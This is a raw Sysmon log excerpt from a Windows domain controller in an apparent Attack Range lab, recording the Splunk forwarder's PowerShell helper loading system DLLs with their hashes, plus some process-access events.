Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000055462Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.102{7BD73061-746C-613B-990B-00000000F001}1272C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000055461Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.102{7BD73061-746C-613B-990B-00000000F001}1272C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000055460Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.102{7BD73061-746C-613B-990B-00000000F001}1272C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000055459Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.102{7BD73061-746C-613B-990B-00000000F001}1272C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000055458Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.102{7BD73061-746C-613B-990B-00000000F001}1272C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000055457Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.080{7BD73061-746C-613B-990B-00000000F001}1272C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000055456Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.080{7BD73061-746C-613B-990B-00000000F001}1272C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000055455Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.080{7BD73061-746C-613B-990B-00000000F001}1272C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000055454Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.080{7BD73061-746C-613B-990B-00000000F001}1272C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000055453Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.080{7BD73061-746C-613B-990B-00000000F001}1272C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000055452Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.080{7BD73061-746C-613B-990B-00000000F001}1272C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000055451Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.080{7BD73061-746C-613B-990B-00000000F001}1272C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000055450Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.080{7BD73061-746C-613B-990B-00000000F001}1272C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000055449Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.080{7BD73061-746C-613B-990B-00000000F001}1272C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000055448Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.080{7BD73061-746C-613B-990B-00000000F001}1272C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000055447Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.080{7BD73061-746C-613B-990B-00000000F001}1272C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000055446Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.080{7BD73061-746C-613B-990B-00000000F001}1272C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000055445Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.080{7BD73061-746C-613B-990B-00000000F001}1272C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000055444Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.080{7BD73061-746C-613B-990B-00000000F001}1272C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000055443Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.080{7BD73061-746C-613B-990B-00000000F001}1272C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000055442Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.080{7BD73061-746C-613B-990B-00000000F001}1272C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000055441Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.080{7BD73061-746C-613B-990B-00000000F001}1272C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000055440Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.080{7BD73061-746C-613B-990B-00000000F001}1272C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000055439Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.080{7BD73061-746C-613B-990B-00000000F001}1272C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000055438Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.080{7BD73061-746C-613B-990B-00000000F001}1272C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000055437Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.080{7BD73061-746C-613B-990B-00000000F001}1272C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000055436Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.080{7BD73061-746C-613B-990B-00000000F001}1272C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000055435Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.080{7BD73061-746C-613B-990B-00000000F001}1272C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000055434Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.080{7BD73061-746C-613B-990B-00000000F001}1272C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000055433Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.080{7BD73061-746C-613B-990B-00000000F001}1272C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000055432Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.080{7BD73061-746C-613B-990B-00000000F001}1272C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000055431Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.080{7BD73061-746C-613B-990B-00000000F001}1272C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 10341000x800000000000000055430Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.080{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-746C-613B-990B-00000000F001}1272C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000055429Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.080{7BD73061-746C-613B-990B-00000000F001}1272C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000055428Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.080{7BD73061-746C-613B-990B-00000000F001}1272C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000055427Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.080{7BD73061-746C-613B-990B-00000000F001}1272C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000055426Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.080{7BD73061-746C-613B-990B-00000000F001}1272C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1CtrueSplunk, Inc.Valid 10341000x800000000000000055425Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.080{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055424Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.080{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055423Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.080{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055422Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.080{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055421Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.080{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-746C-613B-990B-00000000F001}1272C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000055420Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.080{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-746C-613B-990B-00000000F001}1272C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program 